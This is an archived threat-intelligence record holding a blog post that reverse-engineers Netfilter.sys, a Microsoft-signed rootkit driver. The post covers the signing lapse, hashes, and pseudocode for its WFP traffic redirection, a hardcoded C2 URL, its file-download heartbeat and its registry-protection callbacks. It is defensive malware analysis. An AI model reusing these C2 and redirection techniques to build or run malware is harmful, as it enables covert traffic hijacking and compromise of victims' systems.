{
	"id": "c3acd1a8-932e-49d2-9f1b-d5a725fb4625",
	"created_at": "2026-04-06T01:32:35.95825Z",
	"updated_at": "2026-04-10T03:24:16.908479Z",
	"deleted_at": null,
	"sha1_hash": "20ea0f14265c677912397afa388dc1c699cfc2f2",
	"title": "Reversing a Microsoft-Signed Rootkit: The Netfilter Driver",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3306050,
	"plain_text": "Reversing a Microsoft-Signed Rootkit: The Netfilter Driver\r\nBy MA\r\nPublished: 2025-05-19 · Archived: 2026-04-06 01:00:21 UTC\r\nWhile digging into ways attackers bypass Driver Signing Enforcement (DSE) on modern Windows, I stumbled\r\nover a 2021 case: a malicious driver called Netfilter that somehow ended up legitimately signed by Microsoft. A\r\nreal‑world example of the signing pipeline failing is really interesting—so let’s reverse it, see how the threat\r\nactors slipped through, and learn what Microsoft tightened afterward.\r\nWindows requires kernel drivers to bear a Microsoft signature to load with DSE on. Vendors normally submit\r\nthrough the Windows Hardware Compatibility Program (WHCP) and run exhaustive HLK tests. In 2015\r\nMicrosoft introduced Attestation Signing—a quicker, automated track that skipped HLK for non‑PnP or niche\r\ndrivers. Vendors upload a CAB, automated scanners look for obvious malware, and Microsoft returns a signed\r\nCAT + re‑signed binaries.\r\nA threat actor created a legitimate Hardware Developer Program account (EV certificate + company identity) and\r\nsubmitted Netfilter.sys via the attestation portal. The driver’s malicious logic was subtle (it registers as a Windows\r\nFiltering Platform call‑out and redirects IPs; no blatant shellcode). Automated checks flagged nothing, so the\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 1 of 12\n\nportal signed and stamped the driver. Signed malware was then seen in Chinese gaming circles, and G DATA\r\nraised the alarm. Microsoft confirmed the mis‑sign and revoked the partner account and hashes.\r\nJune 2021 – Microsoft blocked the driver with Defender, suspended the dev‑center account, and said they would\r\n“refine partner access, validation, and signing” going forward.\r\nMarch 2023 – Microsoft announced that attestation‑signed drivers can no longer be published to Windows Update\r\nfor retail users. Vendors wanting broad distribution must now use the full WHCP release‑sign path (HLK tested).\r\n2024–2025 – Further tweaks: pre‑production signatures are split to a separate CA; partners must re‑associate EV\r\ncerts; additional manual review for any kernel driver hitting retail audiences.\r\nTakeaway: The Netfilter incident closed the ‘fast lane’ for most public drivers—attestation is now test‑only, while\r\nretail builds face stricter human and automated scrutiny.\r\nName: netfilter.sys\r\nMD5: 916ba55fc004b85939ee0cc86a5191c5\r\nSHA-1: 8788f4b39cbf037270904bdb8118c8b037ee6562\r\nSHA-256: 115034373fc0ec8f75fb075b7a7011b603259ecc0aca271445e559b5404a1406\r\nType: Driver64\r\n3.1 DriverEntry: Standard Setup with a Twist\r\n(This part is largely benign in appearance, typical of many WFP drivers.)\r\nOpen the driver in IDA ➜ straight to DriverEntry .\r\nImports and Framework Binding:\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 2 of 12\n\nWe see standard driver initialization patterns. The driver receives its DriverObject and\r\nRegistryPath .\r\nWdfVersionBind(DriverObject, \u0026registryPathCopy, \u0026driverConfigObject, \u0026pDriverContext) :\r\nThis is a standard call to bind the driver to the Windows Driver Frameworks (WDF), associating it\r\nwith a configuration object and a context structure ( pDriverContext ).\r\nAt this stage, these are normal driver operations.\r\nComponent Initialization:\r\nInitializeDriverComponents(\u0026driverConfigObject) loops over each component and would call\r\nWdfVersionBindClass for each.\r\nIf initialization ( InitializeDriverComponents , FinalizeInitialization , or fallback init) fails,\r\nCleanupComponents invokes WdfVersionUnbind / WdfVersionUnbindClass to unwind everything\r\ncleanly. This error handling is also standard.\r\nDriver Unload Hooking:\r\nDriverUnloadHook ensures that its own CleanupComponents function (and any original unload\r\nroutine) is called. This is standard practice for ensuring resources are freed.\r\nInitial Imports Suggesting Network Activity:\r\nThe presence of Fwpm* / Fwps* functions (Windows Filtering Platform) like\r\nFwpsCalloutRegister1 , FwpmEngineOpen0 , etc., clearly indicates that this driver intends to\r\ninteract with the network stack. Many legitimate security products and network utilities use WFP.\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 3 of 12\n\nCalls like IoCreateDevice and IoCreateSymbolicLink (seen within\r\nInitializeDriverResources called by SetupNetworkFilter ) are standard for drivers that need to\r\nbe accessible from user mode.\r\nAt this point in DriverEntry , the actions are consistent with a driver that intends to set up network filtering. The\r\nlogic is primarily about initialization, framework binding, and ensuring proper cleanup.\r\nEven after attempting the standard WDF binding and component setup in DriverEntry , the driver always falls\r\nback to this routine:\r\nWhen is InitializeFallback called?\r\nUnconditionally after InitializeDriverComponents and FinalizeInitialization in DriverEntry —\r\neven if those earlier steps succeed or fail. In the rare case DriverObject is null, it’s invoked directly.\r\nWhy it matters:\r\nNo matter what else fails, the driver still tries to bring up its network‐filtering core. That persistent “last\r\nline of defense” underscores that intercepting network traffic is its top priority—even in a degraded\r\nstate.\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 4 of 12\n\nInside SetupNetworkFilter , the driver lays the groundwork for its network manipulation:\r\nGlobal Configuration:\r\nConfigureFilterGlobals(0, (__int64)\"NET_FILTER\", 1, 1);\r\n// Sets g_FilterName = \"NET_FILTER\", g_CreateDevObj = 0, g_FilterFlagA = 1, g_FilterFlagB = 1\r\nThis function sets up some global names and flags. L\"NET_FILTER\" becomes a global identifier.\r\nConditional Start:\r\nif ( ShouldStartFilter() )\r\n// ShouldStartFilter() calls QueryServiceControl(), which likely checks a registry value or external trig\r\n// The result is cached in g_ShouldStartCached.\r\nThe driver checks if it should activate its filtering. This provides a control mechanism, possibly set\r\nvia C2 or a configuration in the registry.\r\nDevice Object Creation:\r\nSetDeviceAndSymbolicNames(L\"\\\\Device\\\\netfilter\", L\"\\\\??\\\\netfilter\");\r\nCreates a device \\Device\\netfilter and a symbolic link \\??\\netfilter , allowing user-mode\r\napplications to communicate with it (e.g., to send configuration or receive data). This is standard for\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 5 of 12\n\nmany drivers.\r\nWindows Filtering Platform (WFP) Registration (Core of the “Subtle” Malicious Logic): The\r\nWindows Filtering Platform (WFP) is a powerful set of APIs and system services in Windows that provides\r\nthe infrastructure for applications and drivers to intercept and modify network traffic. It’s the backbone for\r\nmany network security features, including the Windows Firewall, and is used by numerous third-party\r\nfirewalls, intrusion detection/prevention systems, VPN clients, and network monitoring tools.\r\nHow WFP Works (Simplified):\r\n1. Filtering Engine: The core WFP component that processes network packets against registered\r\nrules.\r\n2. Layers: WFP defines specific “layers” at various points in the TCP/IP stack (e.g., IP packet layer,\r\ntransport layer, Application Layer Enforcement (ALE) for connection establishment). Filtering can\r\noccur at any of these layers.\r\n3. Callouts: These are functions implemented by a third-party driver (like Netfilter.sys). When the\r\nWFP engine processes traffic that matches a specific filter rule linked to a callout, it invokes that\r\ncallout function.\r\n4. ClassifyFn: The primary function within a callout. It receives packet/connection metadata and\r\ndecides whether to PERMIT , BLOCK , or CALLOUT_ACTION_CONTINUE (pass to lower-weight filters).\r\nCrucially, it can also request writable access to packet data to modify it.\r\n5. Filters: These are the rules. A filter specifies conditions (like IP address, port, protocol, direction)\r\nand links to a specific callout at a particular layer and sub-layer. It also defines an action (e.g.,\r\ninvoke callout, permit, block).\r\n6. Sub-Layers: These provide a mechanism for ordering and arbitrating between multiple filters that\r\nmight exist at the same WFP layer, ensuring a predictable processing order.\r\nWFP is important because it offers a documented, supported, and relatively stable way for kernel-mode\r\ncomponents to interact with the network stack without resorting to unsupported techniques like direct\r\nNDIS hooking, which can lead to system instability.\r\n(For a deeper dive into WFP architecture and development, check out this article by zeronetworks\r\nhttps://zeronetworks.com/blog/wtf-is-going-on-with-wfp)\r\nNow, let’s see how Netfilter.sys leverages this legitimate platform:\r\nEnsureFrameworkInitialized() : This likely ensures basic WDF structures are ready.\r\nRegisterFilterContext() : Retrieves and stores the driver’s WDF device context via the WDF‐\r\nprovided callback\r\nInitializeContextFromHandle() : Sets up the WFP engine handle, transaction, callouts and filters\r\nin one operation:\r\n1. OpenWfpEngine() Calls FwpmEngineOpen0 to get a handle to the Windows Filtering\r\nPlatform.\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 6 of 12\n\n2. BeginWfpTransaction() Calls FwpmTransactionBegin0 so all subsequent WFP changes\r\noccur as a single, roll‐backable unit.\r\n3. RegisterCalloutFunctions()\r\nFills out a FWPM_CALLOUT structure:\r\nclassifyFn = (FWPS_CALLOUT_CLASSIFY_FN1)ClassifyCallback\r\nnotifyFn = (FWPS_CALLOUT_NOTIFY_FN1)NotifyCallback\r\nflowDeleteFn = (FWPS_CALLOUT_FLOW_DELETE_NOTIFY_FN0)FlowDeleteNoOp\r\ncalloutKey = {GUID} that identifies this driver’s callout.\r\nSubmits it via FwpmCalloutAdd0 .\r\n4. AddCalloutAndFilters()\r\nFwpmSubLayerAdd0: Creates a custom sub-layer (GUID\r\n{2921234954u,50698u,…} ) so filters can be ordered.\r\nFwpmFilterAdd0: Inserts a terminating callout filter:\r\nfilter.layerKey = {IP_PACKET-or-ALE_AUTH_CONNECT GUID};\r\nfilter.subLayerKey = customSubLayerKey;\r\nfilter.action.type = FWP_ACTION_CALLOUT_TERMINATING | FWP_ACTION_FLAG_CALLOUT;\r\nfilter.action.calloutKey = calloutKey;\r\nThis forces matching traffic into the callout routine and makes its verdict final.\r\n5. CommitWfpTransaction()\r\nCalls FwpmTransactionCommit0 to apply everything or roll back on error.\r\ng_ContextInitSucceeded A global flag set true only if every step above returns success.\r\nBenign use of WFP: registering callouts and filters is exactly how firewalls and network\r\nmonitors hook network I/O. Malicious twist: here it’s used not for protection but to invisibly\r\nredirect traffic and support C2 channels, leveraging standard OS APIs to stay under the radar.\r\nWorker Thread Creation:\r\nif ( regStatus \u003e= 0 \u0026\u0026 StartFilterDevice(DriverObject) ) // StartFilterDevice likely finalizes WDF devic\r\n{\r\n AllocateWorkItem(\u0026g_WorkItem); // Initializes a KEVENT for synchronization\r\n return (unsigned __int8)CreateSystemThread(\u0026g_WorkerThreadHandle, FilterWorkerThread) != 0;\r\n}\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 7 of 12\n\nIf all WFP setup succeeds, a kernel worker thread ( FilterWorkerThread ) is created. This thread\r\nwill handle the C2 activities.\r\n(This is where the driver’s behavior becomes too malicious)\r\nOnce SetupNetworkFilter succeeds, the driver spins up FilterWorkerThread . This kernel-mode thread is the\r\nengine of its covert operations:\r\nExecution Privileges and Environment:\r\nKeEnterCriticalRegion();\r\nKeSetBasePriorityThread(KeGetCurrentThread(), 5); // Priority 5 is relatively high for a driver thread.\r\nAttachThreadToFilterFramework(KeGetCurrentThread()); // Stores current thread in g_Qw_14000E210\r\nInitializeNetworkSubsystem(); // Initializes timer list (qword_140010650)\r\nBy entering a critical region and setting a higher base priority, the thread attempts to ensure its\r\nexecution is less likely to be preempted or interrupted by less critical system activities.\r\nPeriodic Timers for C2 Communication and Tasks:\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 8 of 12\n\nThe thread sets up several periodic tasks using SchedulePeriodicTimerTask , which adds entries to\r\na list processed by HandleDeferredTimerTasks in the thread’s main loop.\r\nSchedulePeriodicTimerTask(CheckProxyConfigTimerCallback, 10); // Related to registry checks/updates\r\nSchedulePeriodicTimerTask(UploadStatsTimerCallback, 60); // For sending data\r\nSchedulePeriodicTimerTask(CleanupAndConfigFetchTimerCallback, 1800); // Calls FetchRemoteConfig_IfChanged\r\nSchedulePeriodicTimerTask(ReconnectTimerCallback, 1800); // Implies C2 connection maintenance\r\nSchedulePeriodicTimerTask(HeartbeatTimerCallback, 30); // Core \"I'm alive\" beacon and data exchange\r\nSetC2ServerUrl(\"http://110.42.4.180:2080/u\");\r\nThis call hardcodes the C2 server URL into the global variable. This is a definitive IOC.\r\nC2 Communication Loop:\r\nThe thread waits for the network to be ready using IsNetworkReady_PerformInitialC2Check()\r\nThis function itself performs an HTTP GET request via\r\nPerformHttpGetRequest_AndStoreResponse to the C2 server and checks the response, likely for an\r\ninitial configuration or “go-ahead” signal.\r\nThen, it enters its main loop:\r\nwhile ( !g_TerminationRequested )\r\n{\r\n ProcessInboundPackets();\r\n ProcessOutboundPackets();\r\n HandleDeferredWork(1i64);\r\n SleepMilliseconds(1000i64);\r\n}\r\nC2 Communication Details:\r\nOutbound Beaconing/Data Exfiltration: HeartbeatTimerCallback -\u003e\r\nPrepareHeartbeatDataAndTriggerC2 -\u003e SendHeartbeatAndReceiveFileFromC2 :\r\nHeartbeatTimerCallback triggers PrepareHeartbeatDataAndTriggerC2 . This function\r\nattempts to read a local file (path derived from the driver’s own ImagePath via\r\nGetDriverImagePath_Wdf and ReadFileContentToBuffer\r\nIf the file read fails or is empty, a default identifier \"921fa8a5442e9bf3fe727e770cded4ab\"\r\nis used. Otherwise, an MD5-like hash (via CalculateMD5HashOfString) of the file’s content\r\nis used.\r\nThis identifier/hash is passed to SendHeartbeatAndReceiveFileFromC2\r\nSendHeartbeatAndReceiveFileFromC2 then calls ConstructC2HeartbeatUrl to construct a\r\nGET request URL: GLOBAL_C2_BASE_PATH + \"v=\" + DRIVER_VERSION_STRING + \"\u0026m=\" +\r\nSYSTEM_IDENTIFIER .\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 9 of 12\n\nPerformHttpGetRequest_ParseResponseToHash_AndSaveToFile executes this HTTP GET\r\nrequest.\r\nThe response from the C2 is processed:\r\nIf the HTTP status is “200” (checked by FindSubstring_CheckHttpOkStatus ) the\r\nbody (after headers, found by FindHttpBodyFromResponse ) is taken.\r\nAn MD5-like hash of this C2 response body is computed and stored globally\r\n(potentially as a session key or updated identifier).\r\nThe raw C2 response body is then written to a local file using\r\nWriteDataToFileFromC2_Wrapper , which calls WriteBufferToFileByPath . The\r\nfilename is likely again derived from the driver’s ImagePath . This is how the C2 can\r\ndeliver files (updated configs, new modules) to the victim.\r\nInbound Command Fetching ( ProcessInboundPackets ):\r\nThis function makes a GET request to the C2 server URL ( http://110.42.4.180:2080/u ).\r\nIf it receives a response other than just “200 OK”, it parses the body.\r\nIt expects a response body formatted like: [target_IP_decimal-target_port]\r\n{new_redirect_IP_decimal|new_redirect_port} . (The actual parsing is more flexible,\r\nlooking for [id1-id2]{data|data...} )\r\nQueueC2CommandToList queues these parsed rules/commands (original IP, new IP, ports)\r\ninto a linked list.\r\nThis queue is then used by the WFP callout ( WfpClassifyCallback_RedirectTraffic ) to\r\nperform IP/port redirection.\r\nMalicious Payload Delivery \u0026 Actions (via WFP Callout\r\nWfpClassifyCallback_RedirectTraffic and WfpApplyPacketRedirection ):\r\nWhen network traffic matches the WFP filter, WfpClassifyCallback_RedirectTraffic is\r\ninvoked.\r\nIt extracts the original destination IP and port from the packet metadata.\r\nIt calls FindRedirectionRuleInQueue which iterates through the command queue\r\n(populated by FetchAndProcessC2Commands ) to find a redirection rule matching the original\r\ndestination IP.\r\nIf a rule is found, FindRedirectionRuleInQueue returns the new destination IP and port.\r\nWfpApplyPacketRedirection then uses FwpsAcquireWritableLayerDataPointer0 to get\r\ndirect access to the packet’s network layer data. It modifies the destination IP address and\r\ndestination port in the packet headers to the new values received from the C2.\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 10 of 12\n\nIP addresses are byte-swapped ( _byteswap_ulong ) and ports are potentially byte-swapped ( __ROR2__ ) to ensure correct network byte order.\r\nFwpsApplyModifiedLayerData0 commits these changes to the packet.\r\nThe packet, now redirected, is permitted to continue via FwpsCompleteClassify0 with actionType\r\n= FWP_ACTION_PERMIT | FWP_ACTION_FLAG_CALLOUT .\r\nThis IP redirection is the primary malicious network payload observed in the code.\r\nStealth Advantages:\r\nKernel-Mode Operation: Operates with high privileges, making it difficult for user-mode security\r\nsoftware to detect or interfere directly.\r\nLegitimate WFP Usage: Leverages standard Windows Filtering Platform APIs, which can make its\r\npresence look like a legitimate network utility or firewall to superficial inspection. The\r\nmaliciousness is in the effect of the filtering based on C2 commands.\r\nBlended C2 Traffic: HTTP GET requests for C2 can be hard to distinguish from normal web traffic\r\nif not specifically looking for connections to the hardcoded IP/domain.\r\nRegistry Callbacks for Defense/Stealth ( RegistryOperationCallback_ProtectSetting ):\r\nThis callback, registered via CmRegisterCallbackEx , monitors specific registry keys:\r\n\\Registry\\User\\%SID%\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\r\nSettings\r\n\\Registry\\User\\%SID%\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\r\nSettings\\Connections\r\n\\Registry\\Machine\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT\\Certificates\\\r\nIf it detects attempts to modify values like AutoConfigURL or\r\nDefaultConnectionSettings , or access certain certificate paths (checked using\r\nIsRegistryPathTargeted (prev sub_140006504 )), it can return STATUS_ACCESS_DENIED .\r\nThis is a defensive mechanism to protect its C2 communication channels (if they rely on\r\nsystem proxy settings modified by the rootkit) or to prevent tampering/detection related to\r\nrogue root certificates it might install for TLS interception.\r\n4 – Conclusion: A Lesson in Stealth and System Trust\r\nThis deep dive into netfilter.sys has been a fascinating detour from my primary research on Driver Signing\r\nEnforcement, yet it offers invaluable insights directly relevant to it. We’ve seen how a threat actor can:\r\n1. Exploit Trust: Successfully navigate the (at the time) less stringent attestation signing process by\r\npresenting a driver whose initial setup routines mimic legitimate software.\r\n2. Employ Subtle Malice: The core malicious logic wasn’t in blatant shellcode or easily flagged API abuse\r\nduring static analysis. Instead, it lay in the purposeful misuse of the powerful and legitimate Windows\r\nFiltering Platform, activated and controlled via a covert C2 channel. The driver uses standard WFP\r\nfunctions to hook into the network stack, but the rules and actions (IP redirection) are dictated by the\r\nattacker post-deployment.\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 11 of 12\n\n3. Maintain Operational Stealth: By operating in the kernel, establishing a C2 channel that can blend with\r\nnormal HTTP traffic, and even defensively monitoring registry keys related to its operation, the rootkit\r\naims for longevity and evasion.\r\nThe Netfilter case underscores a critical challenge for automated security vetting: discerning intent. The driver’s\r\ncode, particularly its WFP registration, largely uses APIs in a documented manner. It’s the C2-driven nature and\r\nthe ultimate goal of traffic manipulation that make it malicious.\r\nMicrosoft’s subsequent tightening of the attestation signing process, pushing more drivers towards the\r\ncomprehensive WHCP validation, and adding more layers of review are direct responses to incidents like this. It\r\nhighlights the ongoing cat-and-mouse game between attackers finding novel ways to abuse system features and\r\nplatform vendors working to close those loopholes.\r\nThis exploration of Netfilter, while a specific case, reinforces the importance of robust driver vetting and the need\r\nfor security mechanisms that can look beyond static signatures to understand true runtime behavior and intent.\r\nNow, back to the broader landscape of DSE and its evolving defenses ~\r\nSource: https://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nhttps://splintersfury.github.io/mal_blog/post/netfilter_driver/\r\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://splintersfury.github.io/mal_blog/post/netfilter_driver/"
	],
	"report_names": [
		"netfilter_driver"
	],
	"threat_actors": [
		{
			"id": "dfee8b2e-d6b9-4143-a0d9-ca39396dd3bf",
			"created_at": "2022-10-25T16:07:24.467088Z",
			"updated_at": "2026-04-10T02:00:05.000485Z",
			"deleted_at": null,
			"main_name": "Circles",
			"aliases": [],
			"source_name": "ETDA:Circles",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775439155,
	"ts_updated_at": 1775791456,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/20ea0f14265c677912397afa388dc1c699cfc2f2.pdf",
		"text": "https://archive.orkl.eu/20ea0f14265c677912397afa388dc1c699cfc2f2.txt",
		"img": "https://archive.orkl.eu/20ea0f14265c677912397afa388dc1c699cfc2f2.jpg"
	}
}